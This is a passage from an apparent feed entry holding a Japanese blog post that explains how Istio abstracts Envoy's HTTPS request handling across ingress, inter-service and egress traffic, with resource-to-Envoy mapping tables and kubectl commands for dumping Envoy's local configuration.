株式会社スリーシェイク.","isoDate":"2024-01-18T09:38:27.000Z","dateMiliSeconds":1705570707000,"authorName":"Sreake","authorId":"Sreake"},{"title":"【Istio⛵️】Istioによって抽象化されるEnvoyのHTTPSリクエスト処理の仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/01/16/013404","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのサイドカーメッシュを題材にしたEnvoyの設定の抽象化について様々なサービスメッシュツール (特に、Istio、Consul、Ciliumなど) でも流用できるEnvoyの知識についてこの記事から得られる知識01. はじめに02. 様々なリソースによるEnvoy設定の抽象化サービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS03. istio-proxyコンテナによるHTTPS処理Istioコントロールプレーンの仕組みサービスメッシュ外からのHTTPSマイクロサービス間のHTTPSサービスメッシュ外へのHTTPS04. EnvoyによるHTTPS処理Envoyの設定の種類フィルターフィルターの一覧フィルターチェーンの仕組み05. リソースの設定からEnvoy設定への翻訳各リソースとEnvoyの設定の関係一覧サービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるマイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめるサービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧リソースとEnvoyの設定の対応関係istio-proxyコンテナ内のEnvoyに当てはめる06. 翻訳されたEnvoy設定値を見てみるEnvoyの現在の設定を出力するリスナーを出力するルートを出力するクラスターを出力するエンドポイントを出力する証明書を出力するサービスメッシュ外からのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナマイクロサービス間のHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod側のistio-proxyコンテナサービスメッシュ外へのHTTPS送信元Pod側のistio-proxyコンテナ宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナ07. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、俺 (REMIX) feat. Istioニキ a.k.a. いすてぃ男です。Istioは、Envoyを使用したサービスメッシュを実装します。IstioがKubernetesリソースやIstioカスタムリソースに基づいてEnvoyの設定を抽象化してくれるため、開発者はEnvoyをより簡単に設定できます。Envoyの設定の抽象化は、Envoyを使用したサービスメッシュ (例:Istioサイドカーメッシュ/アンビエントメッシュ、Consul、Istioから得られた学びを土台に登場したCiliumサイドカーフリーメッシュなど) に共通しています。つまり、次々に登場するEnvoyによるサービスメッシュツールに振り回されないようにするためには、ツールがどのようにEnvoyを抽象化するのかを理解しておく必要があります。そこで今回は、IstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのかを解説します。また、抽象化されたEnvoyがHTTPSリクエストを処理する仕組みも一緒に解説します。これらの知識は、様々なサービスメッシュツールで流用できるはずです。それでは、もりもり布教していきます\uD83D\uDE1702. 様々なリソースによるEnvoy設定の抽象化まずは、どのようなリソースがHTTPSリクエストの処理に関係しているのかを、HTTPSリクエストの方向に分けて解説していきます。istio-proxyコンテナやEnvoyについては、次章以降で解説します。サービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| Gateway Gateway([⛵️ Gateway]) -.-> VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Podは、宛先Podとの間で相互TLS認証を実施します。Istio IngressGateway Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineeringマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。flowchart TD 送信元 -.->|HTTPS| VirtualService VirtualService([⛵️ VirtualService]) -.-> DestinationRule DestinationRule([⛵️ DestinationRule]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class VirtualService,DestinationRule,Service,Endpoints blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、宛先Podとの間で相互TLS認証を実施します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、HTTPSリクエストを宛先PodにL7ロードバランシングします。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blog▶︎ サービスメッシュ内のPod間通信にkube-proxyは必要なのかistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます (本記事3章参照) 。これにより、送信元Podから宛先Podに直接通信できるようになります。Tracing network path in Istio. Istio is among the most widely used… | by Bikram Gupta | Mediumサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合、リソースが以下の順で紐付き、Envoyの設定を抽象化します。複数のVirtualServiceとDestinationが登場するため、これらには便宜上 X と Y をつけています。flowchart TD 送信元 -.->|HTTPS| VirtualServiceX VirtualServiceX([⛵️ VirtualService X]) -.-> DestinationRuleX DestinationRuleX([⛵️ DestinationRule X]) -.-> Service Service([☸️ Service]) -.-> Endpoints Endpoints([☸️ Endpoints]) -.-> Gateway Gateway([⛵️ Gateway]) -.-> VirtualServiceY VirtualServiceY([⛵️ VirtualService Y]) -.-> DestinationRuleY DestinationRuleY([⛵️ DestinationRule Y]) -.-> ServiceEntry ServiceEntry([⛵️ ServiceEntry]) -.->|HTTPS| 宛先 classDef sly fill: #CCFFFF, stroke: black; class 送信元 sly classDef yellow fill: #FFFF88, stroke: black; class 宛先 yellow classDef blue fill: #326CE5, color: white, stroke: black; class Gateway,VirtualServiceX,VirtualServiceY,DestinationRuleX,DestinationRuleY,Service,Endpoints,ServiceEntry blue各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。送信元Podは、HTTPSリクエストの宛先がServiceEntryでエントリ済みか否かの設定に応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、送信元PodはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、送信元PodはHTTPSリクエストの宛先に外のシステムを選択します。送信元Podは、Istio EgressGateway Podとの間で相互TLS認証を実施します。(1) で宛先がエントリ済であったとします。送信元Podは、HTTPSリクエストの向き先をIstio EgressGateway Podに変更します。送信元Podは、Kubernetesリソース (Service、Endpoints) やIstioカスタムリソース (VirtualService、DestinationRule) の設定に応じて、Istio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Podは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio▶︎ Istio EgressGatewayの必要性についてistio-proxyコンテナを経由せずに外部システムに直接HTTPSリクエストを送信できるようになってしまい、システムの安全性が低くなります。他に、サービスメッシュ外への特定の通信を識別できるようになるメリットもあります。Istio / Accessing External ServicesIstioldie 1.10 / Egress Gateway Performance Investigation03. istio-proxyコンテナによるHTTPS処理前章では、KubernetesリソースやIstioカスタムリソースによって抽象化されたEnvoyまで言及しませんでした。本章では、解説をもう少し具体化します。Istioは、Envoyプロセスを持つistio-proxyコンテナを作成します。このistio-proxyコンテナを使用してどのようにHTTPSリクエストを処理しているのかを、HTTPSリクエストの方向に分けて解説します。Envoyの設定については、次章以降で解説します。Istioコントロールプレーンの仕組みEnvoyの設定を抽象化する責務を担うのは、Istioコントロールプレーン (discoveryコンテナ) です。Istioコントロールプレーンは異なる責務を担う複数のレイヤーから構成されています。レイヤー名 責務 Config ingestionレイヤー kube-apiserverからKubernetesリソースやIstioカスタムリソースの設定を取得します。Istioの初期から名前は変わっていません。 Config translationレイヤー リソースの設定をEnvoy設定に変換します。Istioの初期ではConfig Data Modelレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 Config servingレイヤー Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。Istioの初期では、Proxy Servingレイヤーという名前で、執筆時点 (2024/01/16) で名前が変わっています。 図中の番号に沿って、Istioコントロールプレーンの仕組みを解説します。Config ingestionレイヤーにて、 Istioコントロールプレーンはkube-apiserverにHTTPSリクエストを送信します。ここで、KubernetesリソースやIstioカスタムリソースの設定を取得します。Config translationレイヤーにて、取得したリソースの設定をEnvoyの設定に変換します。Config servingレイヤーにて、Envoyの設定や証明書をPod内のistio-proxyコンテナに配布します。双方向ストリーミングRPCのため、istio-proxyコンテナがConfig servingレイヤーにリクエストを送信し、これらを取得することもあります。istio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHub一文带你彻底厘清 Isito 中的证书工作机制-赵化冰的博客 | Zhaohuabing Blog▶︎ Config servingレイヤーにあるXDS-APIについて▶︎ Istioカスタムリソースのコントローラーについてistio/architecture/networking/pilot.md at 1.20.2 \xb7 istio/istio \xb7 GitHubサービスメッシュ外からのHTTPSサービスメッシュ外から内にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。クライアントは、サービスメッシュ外からL7ロードバランサーにHTTPSリクエストを送信します。L7ロードバランサーは、Istio IngressGateway PodにHTTPSリクエストを送信します。もちろん、クラスター外からIstio IngressGateway PodにHTTPリクエストを送信するために、Service (例:NodePort Service) が必要です。Istio IngressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio IngressGateway Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。Istio IngressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ Pod内のiptablesについてistio-proxyコンテナを経由するように、istio-proxyコンテナにリクエストをリダイレクトします。iptablesのルールを書き換えるのはistio-initコンテナです。Istioは、istio-proxyコンテナと同じタイミングで、istio-initコンテナをPodにインジェクションします (Istio IngressGatewayとIstio EgressGatewayのPodは除きます)。画像引用元:SoByteistio-initコンテナは、istio-iptablesコマンドを実行し、iptablesのルールを書き換えます。また、istio-initコンテナはルールを書き換えた後に終了するため、Podの起動後にPod内に残りません\uD83D\uDC4D\uD83C\uDFFB$ istio-iptables \\\\ -p 15001 \\\\ -z 15006 \\\\ -u 1337 \\\\ -m REDIRECT \\\\ -i * \\\\ -x \\\\ -b * \\\\ -d 15090,15020Sidecar injection, transparent traffic hijacking, and routing process in Istio explained in detail | by Jimmy Song | MediumIstio / pilot-agent▶︎ Istio IngressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio IngressGateway Podにインジェクションしません。つまり、Istio IngressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBマイクロサービス間のHTTPSサービスメッシュ内のPodから別のPodにHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。宛先Pod内のistio-proxyコンテナは、HTTPSリクエストを宛先マイクロサービスに送信します。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSサービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) にHTTPSリクエストを送信する場合のistio-proxyコンテナです。各リソースは、以下の仕組みで、HTTPSリクエストを送信元から宛先まで届けます。図中の番号に沿って、通信の仕組みを解説します。Istioコントロールプレーンは、翻訳されたEnvoyの設定をPod内のistio-proxyコンテナに提供します。送信元Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナにリダイレクトします。送信元Pod内のistio-proxyコンテナは、宛先Podを決定し、またこのPodに対して相互TLS認証を実施します。この時、ServiceEntryで宛先がエントリ済みか否かに応じて、HTTPSリクエストの宛先を切り替えます。宛先がエントリ済みであれば、istio-proxyコンテナはHTTPSリクエストの宛先にIstio EgressGateway Podを選択します。宛先が未エントリであれば、istio-proxyコンテナはHTTPSリクエストの宛先に外のシステムを選択します。ここでは、宛先がエントリ済であったとします。送信元Pod内のistio-proxyコンテナは、HTTPSリクエストをIstio EgressGateway PodにL7ロードバランシングします。Istio EgressGateway Pod内のiptablesは、HTTPSリクエストをistio-proxyコンテナに送信します (リダイレクトは不要)。Istio EgressGateway Pod内のistio-proxyコンテナは、HTTPSリクエストをエントリ済システムにL7ロードバランシングします。▶︎ Istio EgressGateway Pod内のiptablesについてistio-proxyコンテナにリクエストをリダイレクトする必要がありません。そのため、Istioはiptablesのルールを書き換えるistio-initコンテナをIstio EgressGateway Podにインジェクションしません。つまり、Istio EgressGateway Pod内のiptablesのルールはデフォルトのままになっています\uD83D\uDC4D\uD83C\uDFFBUsing Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio04. EnvoyによるHTTPS処理前章では、istio-proxyコンテナ内のEnvoyの設定まで、言及しませんでした。本章では、もっと具体化します。EnvoyがHTTPSリクエストを処理する仕組みを解説します。Envoyの設定の種類HTTPSリクエストを処理する場合、Envoyの設定が以下の順で紐付き、HTTPSリクエストを送信元から宛先まで届けます。flowchart TD 送信元 -.->|HTTPS| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター ネットワークフィルター(ネットワークフィルター) -.-> HTTPフィルター end HTTPフィルター(HTTPフィルター) -.-> ルート ルート(ルート) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|HTTPS| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,HTTPフィルター,ルート,クラスター,エンドポイント red各処理がどのような責務を担っているのかをもう少し詳しく見てみましょう。図中の番号に沿って、EnvoyがHTTPSリクエストを処理する仕組みを解説します。送信元からのHTTPSリクエストの宛先ポートで、リスナーを絞り込みます。通信の種類 (例:HTTP、HTTPS、TCP、UDP、Unixドメインソケットなど) に応じてフィルターを選び、各フィルターがパケットのヘッダーを処理します。もしHTTPSであれば、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。フィルターを使用して、HTTPSリクエストの宛先ポートで、ルートを絞り込みます。フィルターを使用して、HTTPSリクエストの宛先ホストやパスで、クラスターを絞り込みます。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、クラスター配下のエンドポイントを選びます。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、エンドポイントにL7ロードバランシングします。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてflowchart TD 送信元 -.->|TCP| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター end ネットワークフィルター(ネットワークフィルター) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|TCP| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,クラスター,エンドポイント redDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPTフィルターフィルターの一覧Envoyのフィルターは、Envoyの機能を拡張するための設定です。HTTPSリクエストを処理するためには、リスナーフィルター、ネットワークフィルター、HTTPフィルター、といったフィルターが必要になります。全ては解説しきれないため、HTTPSリクエストを処理するための代表的なフィルターをいくつか抜粋しました。ただ、 Istioはこれらのフィルターをデフォルトで有効にしてくれている ため、開発者がEnvoyのフィルターを設定する場面は少ないです。逆をいえば、Istioを介さずにEnvoyをそのまま使用する場合、開発者がEnvoyのフィルターを自前で設定する必要があります\uD83D\uDC4D\uD83C\uDFFBフィルターの種類 HTTPSリクエストの処理に必要なフィルター(一部抜粋) 説明 リスナーフィルター Original Destination istio-proxyコンテナへのリダイレクト前の宛先情報をEnvoyが取得できるようにします。Pod内のiptablesがHTTPSリクエストをistio-proxyコンテナにリダイレクトすると、HTTPSリクエストの宛先がistio-proxyコンテナに変わってしまいます。ただし、iptablesはリダイレクト前の宛先をカーネル上のSO_ORIGINAL_DSTという定数に格納してくれています。Envoyは、カーネル上のSO_ORIGINAL_DSTから本来の宛先を取得し、プロキシします。 HTTP Inspector EnvoyがHTTPを検知できるようにします。 TLS Inspector EnvoyがTLSを検知できるようにします。TLSを検知した場合、EnvoyはTLSに関する処理を実行します。例えば、DownstreamTlsContextは、リスナーフィルター直後に、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。また、UpstreamTlsContextは、クラスターの処理時に、宛先との間でTLS接続を確立し、L7のアプリケーションデータを暗号化します。 ネットワークフィルター HTTP connection manager Envoyが、L7のアプリケーションデータを読み取り、また後続のHTTPフィルターを制御できるようにします。 HTTPフィルター Router Envoyがポート番号でルート、ホストやパスでクラスターを絞り込めるようにします。 gRPC-Web EnvoyがHTTP/1.1で受信したHTTPSリクエストをHTTP/2に変換し、gRPCサーバーにプロキシできるようにします。 Filters — envoy 1.33.0-dev-8fd5cc documentation▶︎ Istioがデフォルトで有効にするEnvoyの設定についてistio-proxyコンテナは、イメージのビルド時に、あらかじめ用意しておいたEnvoyの設定ファイルを組み込みます。そのため、istio-proxyコンテナ内のEnvoyは、多くの設定をデフォルトで有効にできます。Istioを利用する開発者が、EnvoyがHTTPSリクエストを処理するために必要なフィルターを有効にしなくてよいのも、Istioのおかげです。Istioほんまにありがとな\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F istio/pilot/docker/Dockerfile.proxyv2 at 1.20.2 \xb7 istio/istio \xb7 GitHubistio/tools/packaging/common/envoy_bootstrap.json at 1.20.2 \xb7 istio/istio \xb7 GitHubフィルターチェーンの仕組みEnvoyは、複数のフィルターからなるフィルターチェーンを実行し、HTTPSを処理します。図中の番号に沿って、Envoyのフィルターチェーンの仕組みを解説します。各フィルターの機能は、前述したフィルターの一覧を参考にしてください\uD83D\uDE47\uD83C\uDFFBリスナーフィルター (Original Destination、HTTP Inspector、TLS Inspectorなど) を実行します。(1) でTLS InspectorがTLSを検知した場合、DownstreamTlsContextで宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。ネットワークフィルター (HTTP connection managerなど) を実行します。HTTPフィルター (Router、gRPC-Webなど) を実行します。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてTCP proxy — envoy 1.33.0-dev-8fd5cc documentation05. リソースの設定からEnvoy設定への翻訳いよいよです\uD83D\uDD25Istioが各リソースをいずれのEnvoyの設定に翻訳しているのかを解説します。表で対応関係の一覧を示した後、istio-proxyコンテナ内のEnvoyに当てはめました。各リソースとEnvoyの設定の関係一覧Istioコントロールプレーンは、KubernetesリソースやIstioカスタムリソースの設定をEnvoyの設定に翻訳し、処理の流れに当てはめます。以下の通り、各リソースがいずれのEnvoyの設定を抽象化するのかを整理しました。リソースによっては、Envoyの複数の設定を抽象化します。なお、Istioの用意したEnvoyのフィルターのデフォルト値を変更するユースケースが少ないため、これを抽象化するEnvoyFilterについては言及しません。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ Debugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT- YouTubeサービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ外からのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio IngressGatewayの一部として使用します。ServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ \xd7 ✅ ルート ✅ ✅ \xd7 クラスター ✅ ✅ \xd7 ✅ エンドポイント ✅ ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-ingress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio IngressGatewayを置くことで、Istio IngressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyでほとんど同じリソースが登場しますが、 Gatewayは送信元Envoyだけで登場します。リソースの種類だけに着目すると、以下になります。Gatewayが送信元Envoyだけで登場することがわかりやすくなりました。マイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから別のPodへのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。GatewayとServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ \xd7 ✅ \xd7 ✅ ルート ✅ \xd7 ✅ \xd7 クラスター ✅ \xd7 ✅ \xd7 ✅ エンドポイント ✅ \xd7 ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで、同じリソースが登場します。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場することがわかりやすくなりました。サービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) へのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio EgressGatewayの一部として使用します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。他の場合とは異なり、送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、異なるリソースが抽象化します。PeerAuthenticationだけは、話を簡単にするために送信元と宛先が同じNamespaceであると仮定しているので、同じリソースが抽象化します。送信元Envoyの設定の抽象化で登場するリソースが宛先では登場せず、逆も然りです。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualServiceX 〃Y DestinationRuleX 〃Y ServiceEntry PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-egress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio EgressGatewayを置くことで、Istio EgressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで同じリソースが登場しません 。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場しないことがわかりやすくなりました。06. 翻訳されたEnvoy設定値を見てみる前章では、Envoyの具体的な設定値まで、言及しませんでした。本章では、さらに具体化します。各リソースの設定の翻訳によって、Envoyの具体的にどのような設定値になっているのかを解説します。Envoyの現在の設定を出力するEnvoyは、現在の設定を確認するためのエンドポイント (/config_dump) を公開しています。これにHTTPSリクエストを送信し、具体的な設定値を出力してみましょう\uD83D\uDC4D\uD83C\uDFFBリスナーを出力する/config_dumpのクエリストリングにresource={dynamic_listeners}をつけると、Envoyのリスナーを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentation▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dルートを出力する/config_dumpのクエリストリングにresource={dynamic_route_configs}をつけると、Envoyのルートを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-874f7f documentationクラスターを出力する/config_dumpのクエリストリングにresource={dynamic_active_clusters}をつけると、Envoyのクラスターを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationエンドポイントを出力する/config_dumpのクエリストリングにinclude_edsをつけると、Envoyのエンドポイントを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-874f7f documentationSupported load balancers — envoy 1.33.0-dev-8fd5cc documentation証明書を出力する/config_dumpのクエリストリングにresource={dynamic_active_secrets}をつけると、証明書を出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n 